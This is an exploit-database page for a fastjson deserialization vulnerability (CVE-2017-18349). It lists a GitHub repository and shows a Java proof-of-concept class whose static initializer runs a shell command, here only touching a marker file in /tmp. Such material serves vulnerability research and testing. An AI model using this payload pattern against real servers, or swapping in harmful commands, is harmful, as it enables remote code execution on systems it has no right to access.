Exploit databaseDownload repository ZIP
GH-28ea97e4009e508de4f25a9b6de6263f
h0cksr/fastjson--cve-2017-18349-
Sources for CVE-2017-18349
4 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
h0cksr/fastjson--cve-2017-18349-Revision 2282350e2689
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
TouchFile.java
Suggested starting fileJava · 339 bytesimport java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/flag_test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}